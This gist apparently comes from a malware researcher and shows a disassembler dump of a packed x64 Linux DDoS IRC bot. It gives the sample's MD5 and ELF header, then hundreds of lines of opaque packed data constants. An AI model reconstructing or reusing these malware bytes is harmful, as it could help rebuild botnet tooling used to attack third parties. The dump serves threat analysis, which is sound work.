Skip to content

Instantly share code, notes, and snippets.

@unixfreaxjp
Last active August 29, 2015 14:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save unixfreaxjp/beae2bad138e0367d77c to your computer and use it in GitHub Desktop.
Save unixfreaxjp/beae2bad138e0367d77c to your computer and use it in GitHub Desktop.
0x0400000 ; Input MD5 : 36263D91D726DCDB93B97EA05AE8656A
0x0400000 ; File Name : Bossa2\w00tedx | #MalwareMustDie @unixfreaxjp
0x0400000 ; Format : ELF DDoSer IRC Bot Malware x64
0x0400000 ; Imagebase : 400000/Packed mode
0x0400000 ; SEG:LOAD
0x0400000 .686p
0x0400000 .mmx
0x0400000 .model flat
0x0400000 .intel_syntax noprefix
0x0400000
0x0400000 ; ===========================================================================
0x0400000
0x0400000 ; Segment type: Pure code
0x0400000 ; Segment permissions: Read/Execute
0x0400000 LOAD segment byte public 'CODE' use64
0x0400000 assume cs:LOAD
0x0400000 ;org 400000h
0x0400000 assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing
0x0400000 qword_400000 dq 3010102464C457Fh, 0 ; dat_xref: 0x0400050
0x0400000 ; 0x0400058
0x0400010 dq 1003E0002h, 4051E8h, 40h, 0
0x0400030 dq 38004000000000h, 400002h, 500000001h, 0
0x0400050 dq offset qword_400000
0x0400058 dq offset qword_400000
0x0400060 dq 2 dup(631Ah), 200000h, 600000001h, 0EAE8h, 2 dup(60EAE8h)
0x0400060 dq 2 dup(0)
0x04000A8 dq 200000h, 21303077BCD25F11h, 160D113Ch, 0E3200000E320h
0x04000A8 dq 9400000200h, 3F0003180000000Eh, 6DFB194B8F6BD091h, 0E15C3485E3D65AC5h
0x04000A8 dq 4A8D3B88029B7D2h, 0DD8B8D3E0CE1E16Fh, 3B5A77B5F8D02D46h
0x04000A8 dq 4419380C30E79CFAh, 30DAB77477C01B6Dh, 412390B125FFBFC0h
0x04000A8 dq 96B653E49BEEEFE2h, 60D0D987CC0EF965h, 13E77F60F89F510Ah
0x04000A8 dq 35FFF60C21A07B2Fh, 0B271C56FD7523FD6h, 884522651B4D41ECh
0x04000A8 dq 63F2AD324E94C1A4h, 25CEE4EA120BB17Eh, 0D1ABDB381411D736h
0x04000A8 dq 84BC5413B31784h, 4F480000D2B4h, 170003180000490Eh, 631AFCD29365E29Bh
0x04000A8 dq 0EBFFDB25D212DEC4h, 0BEF320811F7A720Bh, 8E4B841E6C3E9798h
0x04000A8 dq 7C9B17067C1D173Bh, 9A4570C439187FB8h, 0C8039371869E7EABh
0x04000A8 dq 2DDAE836758AB5D7h, 4108EEA03B2D198Eh, 0CAB0CFAAD3CBD4B2h
0x04000A8 dq 5EA6CC3701356FF8h, 283DA7749D67BBF4h, 0B5C9171BEA2ACC1Ch
0x04000A8 dq 546C47C232B6D319h, 9186B9D26EE16584h, 3C8A10A798503512h
0x04000A8 dq 0C07C8DE02CDF45DEh, 6D7F43E34C7C55ACh, 0CC791AEE488301DDh
0x04000A8 dq 9D47548EDBA3CB1Fh, 11CB0B9FA4D6CF26h, 0EB2FCB771D9DCD57h
0x04000A8 dq 0E70B260B6F152C3Eh, 5646BB526C4FAE05h, 0B77BF3F4E71F454Eh
0x04000A8 dq 2628BACA538A0E04h, 37DDE4B8D5CC0E47h, 7236FA5CDF117DCFh
0x04000A8 dq 9D5E5F469167B1F5h, 6AD50E7A28C281F8h, 0F027B67E81BC24C3h
0x04000A8 dq 0E1F4E74E3EEFDD78h, 64A1CAFCB02F846Dh, 0B5F304C19086835Ch
0x04000A8 dq 353D4A81DA0A5400h, 3A339C5F40C4B891h, 23B5A241A1683A23h
0x04000A8 dq 0B143BA7FC3B12BCCh, 97AA254D6DF9A9BEh, 364F1F8FAA060621h
0x04000A8 dq 0FABB80AC5CE929ECh, 353B5C4B53E9A1FBh, 221BE84022B6940Ah
0x04000A8 dq 0E031055616719BC4h, 144104A766AB462Dh, 0DC00B211810D77B6h
0x04000A8 dq 998B8295E0672F18h, 67C91F4D5F411192h, 9C91885BBB6F9FADh
0x04000A8 dq 7E8B3F210CC236B2h, 0A62407376078549h, 0CD99430004E9292h
0x04000A8 dq 0FA6535D6D218AACBh, 1168980784FB4322h, 7EA02173EC5D3817h
0x04000A8 dq 7E8D2DAC991C5717h, 97F11D46CED3BF34h, 0FFBCE24DAEB5118Bh
0x04000A8 dq 3631585E862AC047h, 540AF345A3107D02h, 0B017069EF0A7D15Bh
0x04000A8 dq 76212AF8A74A73AEh, 3C9052957DFC08F9h, 0A6C1438FFBAD4439h
0x04000A8 dq 84D3D3F6AFE57F10h, 4FE500A4F517CD00h, 126F9635B168068h
0x04000A8 dq 0C600F137774AE3EBh, 0B7BAFC07BC0CEF69h, 0C71189CC4C15DCCAh
0x04000A8 dq 8FD3C395D0CF3B0h, 5A971FC559E6083Ch, 4BE144DC4EB8FFDAh
0x04000A8 dq 0C4721692A6D1DA1Bh, 403D8DB3DDCF2689h, 594518C83116DB83h
0x04000A8 dq 6A707A2ED223DB0Ch, 0A07CA07875774C80h, 0CEFA167A3D402CAh
0x04000A8 dq 0FA1892E9CDC8C181h, 2AEB7B7E2ECAFA41h, 7B78DDB626F11067h
0x04000A8 dq 6E7C346160AA8B12h, 0F91C47F2743EAFFAh, 0A80F8F6B2BF011D3h
0x04000A8 dq 4F9DE22B513D21B4h, 3042CC5F701C5D2h, 0A2331B1F10F5FF8Eh
0x04000A8 dq 13F5EC13A586AF88h, 2B69DF6EC95DF338h, 3F49537B345FB6C2h
0x04000A8 dq 6CF041CB3C5743CBh, 0B02D9B713E5F9E51h, 0EA648923D77A9E50h
0x04000A8 dq 0D225EB3F0241D07Dh, 931339B26FBF69DAh, 6AE89350B8957C15h
0x04000A8 dq 9768CD01EB26D761h, 0BED584D72175128Ch, 922892940FD4CA92h
0x04000A8 dq 5690F4D2778A0943h, 258DBDE2CE73F7ABh, 5159088DA713285Ch
0x04000A8 dq 0B9F92D7638B0C305h, 0A04E610543857C89h, 1FA36862C7C2D1A4h
0x04000A8 dq 6873276D8B537BE2h, 941BAEADD6E219E3h, 1B25FDD3FAE10FDEh
0x04000A8 dq 0E5E245E05CCFDCCh, 0A8D5BA600A5030A6h, 979676BEB209EE33h
0x04000A8 dq 325F2EB31F1A616Bh, 842281B1432EDFF7h, 14F732C6BF0CF99Bh
0x04000A8 dq 0D1460E4287B976FCh, 0DD6D2DCFE4425043h, 0B7276C2F5C4FF65Ch
0x04000A8 dq 0FEB4061BBA0EE06Eh, 0AF60795B1EAB1A0Dh, 9AC9FCD44BB70CC8h
0x04000A8 dq 0BA0E81116019D4E1h, 94774733B42B92F1h, 30A7D17DFE6B1E98h
0x04000A8 dq 5E99CACC56737301h, 0E3FD300305ACAC1Dh, 0FC85A0175BAE79BFh
0x04000A8 dq 0C1AF3B98126831C7h, 648013E826F625AFh, 1FA48C90E068D1F6h
0x04000A8 dq 0D64AF066AC091F34h, 6016DCC60AB69EE7h, 2ABF10A2D01BD557h
0x04000A8 dq 43FB37B3F8F28D97h, 5833311BF5B81465h, 7A480DB4D5100A4Fh
0x04000A8 dq 2C316E78C054D57Eh, 0AF80E41D6A51630Eh, 0D854C884E0A38FF5h
0x04000A8 dq 6649E41D12F4DBEFh, 0D22991417515F37Ch, 0E1086D23FD644D11h
0x04000A8 dq 5AC76F5A0DC3E192h, 44F09A37C5B447E7h, 0B2973BDBB54A821Ch
0x04000A8 dq 0C1B6A6BEA0D92EC0h, 2021B3B7B2B98580h, 5A4BDDCF59DB1A2Fh
0x04000A8 dq 824C52D55B4D4561h, 0B3B6CE41CF42FD82h, 0EFC325E5CC26F123h
0x04000A8 dq 5B263CAC25BFC3BFh, 0A38736084625BD23h, 0D0B73DE7B3FC1D82h
0x04000A8 dq 0EAE3A71A75CAC3CEh, 9C104F9EEE0C1116h, 70686E12E1A94C02h
0x04000A8 dq 0E2951D3AE7343791h, 4D56FE10BCBF958Ch, 9E482FB71B7923D9h
0x04000A8 dq 3A07CFB5AFF657B7h, 0D1BC9BB65D9B59DEh, 7ADBB81FDB8AC1CCh
0x04000A8 dq 0E0F65FA25250C0AEh, 0C64D1B81B206E9E8h, 0A8F2F0BAA0AB054Eh
0x04000A8 dq 0B23B1C34946819h, 0EEDFB3E9D18A9F9Ch, 6BC581697310567h
0x04000A8 dq 0D919A0D06B0E6683h, 6C879E165317B1CFh, 48D3C378D4E4E057h
0x04000A8 dq 0BA2DE7A8ED36BE85h, 673F2B70E9CF64CCh, 5CCDAAA6F5876B21h
0x04000A8 dq 0F3A8081C61530BCEh, 0FF4E6B93A8EC2D4Ah, 0E1F5B484AECD1ADBh
0x04000A8 dq 51B6C1C901D2FA2Dh, 2D8849436FA9F5A8h, 574939A3B6E2E13Eh
0x04000A8 dq 0F3E2299CFECE361Bh, 6E2DC4605D57B381h, 0E5628126C5C297BDh
0x04000A8 dq 6855BAC0D28963D0h, 9F17D7B8DC22D785h, 706EF3DED3659D3h
0x04000A8 dq 8CFBD4AB10BFAAF4h, 87CE2F3E8320ED96h, 95D733BFC29C6A15h
0x04000A8 dq 79D4E1F2DB9FDA58h, 0B21C533F2353812Eh, 50D3C4207159E489h
0x04000A8 dq 7ACF2E05A2CB2F6h, 0A799CE48BA38E6AAh, 83EF1A2D025FB792h
0x04000A8 dq 0FD56340CD01C9214h, 0BD2B5801AB75E0B8h, 0BF3898B802F0BF26h
0x04000A8 dq 0CAF85A817A7C05A9h, 0FB708B62E7ABC510h, 865E3F909C3449FEh
0x04000A8 dq 49F16516BA9F4695h, 92A27DCD48D8B49Eh, 0B4A1F7BFC40AAE07h
0x04000A8 dq 901DF7A32A243708h, 55F37B0AC7F329C8h, 6C75760458161F24h
0x04000A8 dq 11C69A5C32002A14h, 8BE13BCCA05E07D4h, 0EED3375DDA2F3C56h
0x04000A8 dq 0E87437A52E53E2EFh, 9BC61929911E6978h, 0CAF4338030FB6D9Ah
0x04000A8 dq 8F7766F394D71E51h, 29BE008867AE8A8Ch, 89D3313472E28C95h
0x04000A8 dq 0B97AEF00B625F384h, 88762FA2FB4755C3h, 0A61545F2369B851Eh
0x04000A8 dq 9DF9940CF937A7C3h, 13873F20820CF951h, 1728897BCACA81E0h
0x04000A8 dq 30C0EBEC9470D009h, 9B9D31C1E0A42D96h, 274B08EC782A0146h
0x04000A8 dq 30902003ADB2FE4Fh, 355D032CF55672C9h, 0D8BC0330B3F1987Ah
0x04000A8 dq 30CECCC22EA9023Dh, 5E2E424A3F99F179h, 1F90343A70121FA1h
0x04000A8 dq 0CF452B5122BBF4D8h, 0BE797931A3AB98F2h, 3FE448C4AFB37808h
0x04000A8 dq 0CA995A97F988EE19h, 0CC249CBF5358EE00h, 1D4DC1406C2B01AAh
0x04000A8 dq 7CAE795EBC515DD3h, 3F5CFD1237F6796Fh, 8FD390E102CA226h
0x04000A8 dq 0ADA330800BCB318h, 0CC9A97CF222003C2h, 7D2B393CCEE91FACh
0x04000A8 dq 0A5C4774788A0FB78h, 85456ACC57A34524h, 0BF09D47E0695409h
0x04000A8 dq 0A754DFA5A5167259h, 77656189FB5A68A1h, 4779492949131B8Ch
0x04000A8 dq 816AE3097AAAA105h, 946B902E1B7C9E17h, 354A999B81221Bh
0x04000A8 dq 9E3AF49B80133EE9h, 0C5423C358851D925h, 57083A5F2393F423h
0x04000A8 dq 18FB050BB160EEB4h, 0EDBC5601DBCA5323h, 5A2E57A9A5A1F2Eh
0x04000A8 dq 37CD2DF12B04AA40h, 3E31CF4AA025220Eh, 0C42C45496F62948h
0x04000A8 dq 0B72D2F2FF6521776h, 81A2AA75E2AC16F5h, 0D977837F1A6C3633h
0x04000A8 dq 0F5571D23C448FAD4h, 0D80F1DC638ED3ABDh, 6DF1BDB0FE4D448h
0x04000A8 dq 0B7291B288908ECC3h, 0FA3928581894BCE8h, 6B350FCBD6ACC2EFh
0x04000A8 dq 4E45A1C92E773047h, 0B27FD29D289F033Ah, 69EFCA1EF1A7D7E5h
0x04000A8 dq 0BD76EDE91DF9EAC5h, 526EFCBC3E5451C2h, 8BE0F04A4AAB67EAh
0x04000A8 dq 8F61507DD0ED7B27h, 1DDE6A4FB8F7FFA2h, 89DC7F8BAFB8D93Ch
0x04000A8 dq 0F070E8881A0AE35Dh, 0F87C75186AF38286h, 3D0B0D5F59682EE9h
0x04000A8 dq 93B4864AB00DBE72h, 0A32E67E294A3480Fh, 5AF1BE36C0B7C89Ah
0x04000A8 dq 0AF03443276C3B280h, 0A684E90430E9A39h, 0BB5BE6F4F3C45F82h
0x04000A8 dq 2987914A0BCD244h, 95DE3B6BAF664DC8h, 3520B3E90F2988E8h
0x04000A8 dq 63F9E89ED81AC518h, 24A86BB237E71974h, 471072E5B3EB55CDh
0x04000A8 dq 1FA1DC9CE06D410h, 48EEA32F4FD2A962h, 0D82535AC9917BEBBh
0x04000A8 dq 1B7196304EFA22EFh, 8548F57E49613C76h, 630A8FD44C632FE6h
0x04000A8 dq 0BD464790C988E579h, 74C26E9F1D8420ABh, 6EABA7C38B409F7h
0x04000A8 dq 0A2E2DE34558B04F1h, 44B7094CE0E7094h, 0F71E369465D435C7h
0x04000A8 dq 99C9757F512DF31h, 6584486235FD9F2Ah, 0B3D54AB71C2E89F0h
0x04000A8 dq 20B65B8182AC0F27h, 2CD9D76593144C32h, 3B3FB839ABF489C6h
0x04000A8 dq 64C8B6DF5D766347h, 6958F3A6FEA83DA0h, 273ECF927E30974Bh
0x04000A8 dq 790CA45E0D64F2F7h, 0DC7B8D540ABFF1A1h, 23DD670A2A08D312h
0x04000A8 dq 224F659CE7E381C6h, 0DDB5D14F8A54B2AEh, 6133308B105D1B13h
0x04000A8 dq 0B80DD3F6AB8CA57Ah, 534DFBD099D9E870h, 0BE0B265B7674ECA8h
0x04000A8 dq 0F5EBE80387998901h, 15AF2250547BBC34h, 19B8D40BB25401E0h
0x04000A8 dq 5450D1E82D2223CDh, 0CC98E2DB7D0A30EBh, 4871D8CB215BF7BDh
0x04000A8 dq 604EEF20D0D16F77h, 10DD978F94578A84h, 67C385BC5831E68Ch
0x04000A8 dq 0F3F748B4B5BD70C2h, 0C44540465A4B76DFh, 0A0373E8727F36C3Ah
0x04000A8 dq 0D1865A2FD43EDAC8h, 0BDB94A0E3C281A23h, 5C0C406B7BF65001h
0x04000A8 dq 0F0DC9C5F66F850EFh, 3FD4BBD4C01445B3h, 0C3FC292BB28FF85Bh
0x04000A8 dq 38FD384F92247B1Bh, 7FBBB459D7DA10F8h, 16F77813917FD709h
0x04000A8 dq 0A8F9EA1421D9347Ah, 372A6781F00A3FB1h, 40847CAB36689B7Dh
0x04000A8 dq 7BC1D0A8958861C6h, 0ABADFF61DB8FCC29h, 0FBCD07CAAC4F3189h
0x04000A8 dq 2774677B1EA5DC96h, 5F1C1EA769F9187Ah, 482630BB54E6E00h
0x04000A8 dq 0BABC6ED89AEBA9C8h, 8F74BF79D4DF7A4Ch, 29AC25D5E3862097h
0x04000A8 dq 0E20B1A1E900D3800h, 0A244BDC4A20530h, 8AF994B124C255B3h
0x04000A8 dq 0F288355B03AB0E19h, 3452505F06BEB917h, 0DCEB2A6B2F35B742h
0x04000A8 dq 0C8CB8D538ADEE413h, 73568238EF94AB83h, 0AF29F7F140B2E066h
0x04000A8 dq 2CD6BD1C3FABE8DDh, 0FF47EFA57FBC1B6Ch, 28BBE97AC3F4B275h
0x04000A8 dq 86117B093C68BFAEh, 0E3F74F8B8C82CEA9h, 80BB76174CBBBD70h
0x04000A8 dq 18B039D9C1BCE887h, 8FAB9F97A457F808h, 6351A5E5BD56309Fh
0x04000A8 dq 0A9C33A9BDD66FED2h, 0DD09DD8D667A6F2h, 1A46136CF81D2DC4h
0x04000A8 dq 4C30B8997F7EC774h, 6CC17BADAACD920Ch, 0B9A29EF9FB3291A6h
0x04000A8 dq 6F4C0245CB13854Fh, 0D6CDCE7513674F1h, 0BA97BFA8C1633562h
0x04000A8 dq 0BBB6A0EC5CF0A75h, 0D57F9061B7C0B4E5h, 980AAA880C656F03h
0x04000A8 dq 3DE2CFCE0B8913C6h, 8C17DEF136744B32h, 0A1FEACE521B7277Fh
0x04000A8 dq 224CF21A472B1028h, 0D0E50155C91D77DBh, 9DECD6D76ECF59FCh
0x04000A8 dq 0F7A7752DDBB788E5h, 513E666AD06A8A05h, 0E140D2D6456D1F25h
0x04000A8 dq 9A5C2D420C9CA824h, 0B58C45907885C016h, 0A8F83347DED390EFh
0x04000A8 dq 9A44C8253C0B40A3h, 760AC9EC6D6CBC5Ah, 33770CAE7EE6D437h
0x04000A8 dq 96AE9303A3C83770h, 0C3CA718A47FD7806h, 4BFF45672EB510D3h
0x04000A8 dq 0A0803D0D851F2D43h, 8743AD941EDB2210h, 216D5DBA27D34A83h
0x04000A8 dq 3E11A5D1DD668C8Dh, 5DDB747C7A0E1F0Dh, 0D8C7020077CDE79h
0x04000A8 dq 0A25FFF04191790ADh, 2F5D4BAE3BEBEB8Ch, 2FD923D461CA946h
0x04000A8 dq 9A4B7807B0F2DFDEh, 0A00EEC5A03C3C73h, 0DDBE44505565AF61h
0x04000A8 dq 44796FBEA97D4F1Dh, 0E1E064765FB2515Ah, 0E9E8EBDAF7A6C977h
0x04000A8 dq 71275F115603E2BDh, 649563D37166C149h, 0F83958673AEBC5E9h
0x04000A8 dq 0BF7ABA8927B4CBE5h, 1D0DDDF6E2BFC86h, 0CC1326670775D91Eh
0x04000A8 dq 1EC8B9962618FA41h, 0A09314EB2EC85665h, 874196C0934159C2h
0x04000A8 dq 0C7EEE77AC121BBFEh, 64FC82A5606AEBD8h, 0AA3A4C5EE6454FCCh
0x04000A8 dq 0F2327CF7B11FB1B9h, 0CF44C13839389B9Eh, 0A9151FA2C5ECBDA3h
0x04000A8 dq 0F0275B924269413Ah, 0E8ED0AC9A0AB3AEFh, 3C3D9F5293B622CCh
0x04000A8 dq 9536B02F03E44A1Dh, 4A2DBB92902C0974h, 0B22156BEDCB8E729h
0x04000A8 dq 7BDC676E5E8053E2h, 2034DC861C1C7B5h, 1D8F2DAF9EC801B5h
0x04000A8 dq 46AC0920BBA995E8h, 12EA90A6C667C742h, 0EE92D55C8413F16Eh
0x04000A8 dq 84D18086D3CB69F7h, 0E77D152CB460D416h, 31BA1E9C8BF19B85h
0x04000A8 dq 0BA92CA2D09C997D4h, 0A2D3C74EC9EBF71Eh, 0F6DD875BE2A17550h
0x04000A8 dq 8433D5485CF29B1Eh, 668EB8495118E332h, 0F94641202C8A874Dh
0x04000A8 dq 0FF4F3FD0A5CE209Eh, 901D9787371E1FBFh, 41B9AAE5B62AEDD4h
0x04000A8 dq 7AF56C91354BD11Dh, 616191CD7DFD63C2h, 1E6FCE6DB8775C41h
0x04000A8 dq 0C3F0A3070EA4C2BAh, 0EE8168D25270C8B2h, 84C9DC89457551FCh
0x04000A8 dq 434B2280B2C0FFF6h, 230B9A78184BE1B0h, 98D20DECAF984CB7h
0x04000A8 dq 0B9BD89D493F513FAh, 0C55DE16666477EF0h, 0E337FBD169B5E8E9h
0x04000A8 dq 9A2A2BC843598C68h, 54D26E993127CA04h, 2DBA6503BD4F1B58h
0x04000A8 dq 707D24D1B7E8CF0Ah, 964B19CD609D92F3h, 0B4F2FF65FC045843h
0x04000A8 dq 878064C6F0082D9h, 65DBAF570BFE2195h, 2D392714CE6178E9h
0x04000A8 dq 19EA0DF57B74349Ch, 0CBEDCFD0AD2ED649h, 5F7FCDA60B46C1A0h
0x04000A8 dq 0E76F5ACC748F7839h, 0C7A21C3B5D59FE79h
0x04010A8 dq 8704F7E10C047E21h, 1B801E8D947385DAh, 7A6B4C91D24E8834h
0x04010A8 dq 8D668161CD36E3B3h, 0B0565800EC41CD06h, 0B4B43E886D928C7Ch
0x04010A8 dq 808E80A0197FF2F5h, 0F25E4D58A848EC7Eh, 0ED1913B2935726BAh
0x04010A8 dq 33C5A9E94C505D4h, 0FC7B7E3D58111DF3h, 4DA725A3492F2272h
0x04010A8 dq 0C294BC5AD3B07902h, 6A1B9EE172E60C1Eh, 6B11EF08E39CBBF2h
0x04010A8 dq 133FB8ABD839FAD3h, 3379A086548180BAh, 0FFBDC7EBB9D17134h
0x04010A8 dq 728A8F648700F4DBh, 0A15A6353781A5B1Dh, 5A7EDC64CAD9A658h
0x04010A8 dq 4D3D9801186D457Fh, 292118AEBA2E3C92h, 0B25C047CFDEBD037h
0x04010A8 dq 3F8E785E8803BADFh, 6ECC5C761D3E3C9Fh, 0C1117D0CCCF9827h
0x04010A8 dq 78333720BB2EFF64h, 0E5CDEF9E7C2D5B5Dh, 38403A67252D1D40h
0x04010A8 dq 887B14C6BDA842CDh, 1A2C6B859D42307Ch, 14C46ACAAA765207h
0x04010A8 dq 0AACD455ED55F9AAEh, 0DD2BBE42F86EF978h, 7ACD37C29DF79B7Fh
0x04010A8 dq 4BFF1AAA424C4E3h, 2D0CCBC7BF6C34C4h, 1565102A5FC039BFh
0x04010A8 dq 59BC2120AF9208AAh, 91BB6FAF2D279932h, 0C979E1E80855ACABh
0x04010A8 dq 1A1267CF6DF544D7h, 2C300B1566236C3Ah, 0FD9BB53CA6428D51h
0x04010A8 dq 7D1E34FB9C6EC13Dh, 390A881628C5BCD1h, 0B6F88F46BC12BFAh
0x04010A8 dq 1E96D2BD440F5D8Fh, 57BA2D07A2DE6416h, 9F9A216518A3DD38h
0x04010A8 dq 3A3BC859B09C94F2h, 2B338AFE371B5273h, 24C73B792B862FD9h
0x04010A8 dq 0B2650B0F40EA66A1h, 5B6ABFE96A130B7h, 0B2527463C6D65DAh
0x04010A8 dq 12B62B635A38D4B5h, 400F3E80FB7308C9h, 5DBEFB7E53DE7234h
0x04010A8 dq 0B07D5913C2BA32AEh, 67114E8C521B31E7h, 0F93091435679D686h
0x04010A8 dq 7A9E3E2C42ABEC41h, 672F170FBF8C5B6Dh, 0ED96EBA68643EC34h
0x04010A8 dq 0A0EF621E2C6B665Bh, 0D86EA43C53413202h, 73300CDF57DC89C8h
0x04010A8 dq 76F6B54C97A36B63h, 0BD676FF89051524Ah, 6FE2F44BC1D76662h
0x04010A8 dq 9E65A2D5F7B8BD02h, 0F43443D14A83A95Ah, 5F364C7159333DBCh
0x04010A8 dq 0F858DC0D5DA5AF37h, 0A6241EC1B7A25E31h, 0B9B55D0D1FFA1960h
0x04010A8 dq 58BD844D78CC7421h, 0EE3DEA5E4157A32h, 38EE65F33FABCF23h
0x04010A8 dq 64D4486025B2DF2Bh, 46AA2FAFF00D4D27h, 0DC0146E27CA8F6B3h
0x04010A8 dq 3A10BDE4AFEE7ACAh, 10540EB442BFF018h, 0FE98986B5B99CFAFh
0x04010A8 dq 7C073BE18D5BFA6h, 0CCC143AE132EE928h, 7F78F2EFD381AEEBh
0x04010A8 dq 1EDF2EB8CD35A82h, 0E06E5A2DD8FBC3A1h, 0C0434E51828E21E1h
0x04010A8 dq 83F9CD60A3913100h, 3783E42F6C609221h, 0BC6FCB6D22A4B654h
0x04010A8 dq 2F08CA21890A2BC9h, 9C11473862AE5EDDh, 0C56FA3B1E28A04FAh
0x04010A8 dq 91482437A14AFCB6h, 171316ED43A9C4A1h, 0A19A8C8ABFAE0BFDh
0x04010A8 dq 0FE8DB4E70D165B4Bh, 9EF4750AAAF16DCAh, 4E23B78F5F202A8h
0x04010A8 dq 2023AAD14DC8BE1Ch, 14F4F6859BAB35D9h, 0D83353E92580950Bh
0x04010A8 dq 0C077E6F2B439B306h, 4D65719B978EBC2Fh, 0F9CE44E49084F754h
0x04010A8 dq 5FFA517C31910F9Bh, 6E1138FF5EB16D56h, 8C14BA52FCB80E38h
0x04010A8 dq 764A980A8D7D8838h, 4E42D09D8D9F8704h, 7E2B0BD6753257F7h
0x04010A8 dq 51247738F3ADDADDh, 0C3EB1840E596320Ah, 18AFD29228360CFFh
0x04010A8 dq 5B1048A57D89BD45h, 0F595A6CD800C3D04h, 196D192B9635FF96h
0x04010A8 dq 8D5CA74FB34DE850h, 6D21698FF1FDECA6h, 1BBD7D694011EA94h
0x04010A8 dq 0D9B0C89A878162C4h, 4D301A21504F518Eh, 59534BFA217B6F85h
0x04010A8 dq 0C05F5D7090DB95CAh, 0DB873062AAFC70CAh, 0EE628D96D26152DAh
0x04010A8 dq 7737391FAB1317AAh, 126BFA9D0B682AF6h, 5F2FEF1BC40760FAh
0x04010A8 dq 30D756DA10D00F7Eh, 0FCE0FF1DCE24460Ch, 75D057733C2A0189h
0x04010A8 dq 1289E3C7C11A3116h, 94E5B59E0C543B65h, 0AC72DF8B338E49E2h
0x04010A8 dq 40544000E536FF78h, 0FE00483824AC2C17h, 92A870E11A57566Bh
0x04010A8 dq 2E767A79E5CF2ADEh, 6B1AE2A470635B89h, 3FFA04A068CE222Bh
0x04010A8 dq 63A550D2A121812h, 359989FA6D1D0D2Dh, 6A2049E7CA75C749h
0x04010A8 dq 68009DFCF981E599h, 92C0D49834186A3Fh, 0DCC69DB67681E637h
0x04010A8 dq 384546C026A8BE60h, 0F5AB0C410D3D533Eh, 5627598674C248A8h
0x04010A8 dq 0F19C45159D79ADEh, 16D1DAC347220CB4h, 0EF6EB9DC2FC5848Ah
0x04010A8 dq 0A699CF57E1E0AEE1h, 12B3862A86085B2Ah, 560AE92E230599F5h
0x04010A8 dq 0A3AF0992FA801E0Bh, 0F737FA433C4B48FBh, 0D00F0799C71B2B79h
0x04010A8 dq 754C1D3F67415CA4h, 0A109A5321F8CA289h, 763DFBA04B630AF1h
0x04010A8 dq 0E6A2C936FF6CB6FCh, 1A76DD1D6ED06006h, 0CCA7A4C498EB3684h
0x04010A8 dq 392B641113546DBEh, 85114D4B8BDF6966h, 0DD2CA87FB2F09093h
0x04010A8 dq 8E22F8844926333Fh, 0C1EDDA880D7858BBh, 7985C9CA2F31B948h
0x04010A8 dq 22F2B4020769C651h, 70FA1AD592643C5h, 0A84DC426A642A61Fh
0x04010A8 dq 0ED7DD9A6835B4344h, 0F84C42F852C5151Ah, 0C0C9FE3860852D8Fh
0x04010A8 dq 0CBE02343C287A33h, 0CB4C13938EA9D5EDh, 0F97CCA3642A4F222h
0x04010A8 dq 0E7EEAFA5FB96537Bh, 0BB188998DA883730h, 0C4C10D1B4BA10A52h
0x04010A8 dq 84E97D90B91644D1h, 11F5F0BBDF7534F5h, 33F0675F911172A4h
0x04010A8 dq 8CD82E920EC0A955h, 90E72A57C728BAF4h, 970906C2A0D7AE6h
0x04010A8 dq 9C2816D086FE43BEh, 28437C58D2B1989Bh, 0FCFCCE5665A472B4h
0x04010A8 dq 0B28AABF799DA0411h, 0A0CDE345C0B45C03h, 0F86F240ACA797C93h
0x04010A8 dq 0DC3B36634840F52Fh, 14B90A2D68DFCFE3h, 573990C7323A9436h
0x04010A8 dq 870EB6F17EE09E69h, 48E7BDE1AC4F8ADBh, 43C449C7D33FBC9h
0x04010A8 dq 0BE77EDE173A6D9FEh, 47F56A95B32302F3h, 99214559261BA5D9h
0x04010A8 dq 0F1E7D3AEB021BBB8h, 0AAB98AC0A3E3BA72h, 0E5DB1DEBC5C269BFh
0x04010A8 dq 9AC26CAAD43B3604h, 1FC96C8E21B13E81h, 0DBA889DEB716CAA4h
0x04010A8 dq 1FF9F17586B23A7Fh, 0A5CAE5E52D684872h, 3EE445459EE6F03Ch
0x04010A8 dq 0FC9DE72CA0905AABh, 8B4DAB92E4DB238Bh, 0F504233F739DA159h
0x04010A8 dq 17829D519287F6E9h, 0EBEB578E3ECFE8E9h, 4965C3A2AAD49854h
0x04010A8 dq 87532BC5F58A0F8Fh, 0D2EFB271D6A177B9h, 0DF306EB40F4A9C81h
0x04010A8 dq 626DBF70171423E4h, 4E5ADDB632212A14h, 0B4A0F94D521745ADh
0x04010A8 dq 10A482359353C688h, 0F54BBB763E4E2094h, 0E61BF0F5D94CD00Ah
0x04010A8 dq 13C41AAE5706EEF4h, 3529CF0AF06C0DEh, 0C0596937E7EE25D8h
0x04010A8 dq 1B0630EC40C2B999h, 9A61B7B9922F91FEh, 0E23C0F677C1C69D5h
0x04010A8 dq 0E35461003551F3E6h, 7B78B4186D259B0Fh, 0D55895482648381Ch
0x04010A8 dq 0CE35C73AEF487A97h, 0CACBF1992B2BE947h, 0CF6E791971961A26h
0x04010A8 dq 5DED35FAC5008C2Bh, 9CF863B86C7F7362h, 119A32C4DCB4D22Fh
0x04010A8 dq 6254449C9B43A64Fh, 9059D7A70CBD51FCh, 559D231675413A2h
0x04010A8 dq 67F3C706DAF531DFh, 1D933D61F0D83574h, 6F9BB235103B7644h
0x04010A8 dq 6AF4314DED0CA331h, 0E9DCF643D7512557h, 0ADAF27BD52A3A911h
0x04010A8 dq 0FA528B14B8DDDDD1h, 0E6A38DCB1607F9FBh, 0F7718A2F9982F105h
0x04010A8 dq 0BAD3A8FFE08A8011h, 7E8C4FA2BDAC82A8h, 823B89BDC32FC7FBh
0x04010A8 dq 0A076C6274AC0BB42h, 644115EE04C651E6h, 8F458EC97B1DF20Ah
0x04010A8 dq 99FB421BE8E94254h, 0E088DDCBE8568465h, 2791763A162F0EC5h
0x04010A8 dq 0FAAF949A1F76AB0Bh, 0CCC31076087AF267h, 0EF0291F34F4EAAF3h
0x04010A8 dq 0EB440904D90C0035h, 2FDC80560B292B7Bh, 82890FD1A194C8D2h
0x04010A8 dq 11AA390BA04E482Dh, 31F0CD7619FB80D2h, 4F1A4DBEE29FAE15h
0x04010A8 dq 78B05B51203AFA3Eh, 0F6A0F90C425E22E5h, 3153FBE89DBC66C9h
0x04010A8 dq 5451ECF40CA98A1Ch, 0CFC62F04C9F62BF4h, 0B2ECC52F27BA74CBh
0x04010A8 dq 0A869577C2C69D907h, 2A8AD5EE89AB3D0Dh, 8F84A358B9B0ABDEh
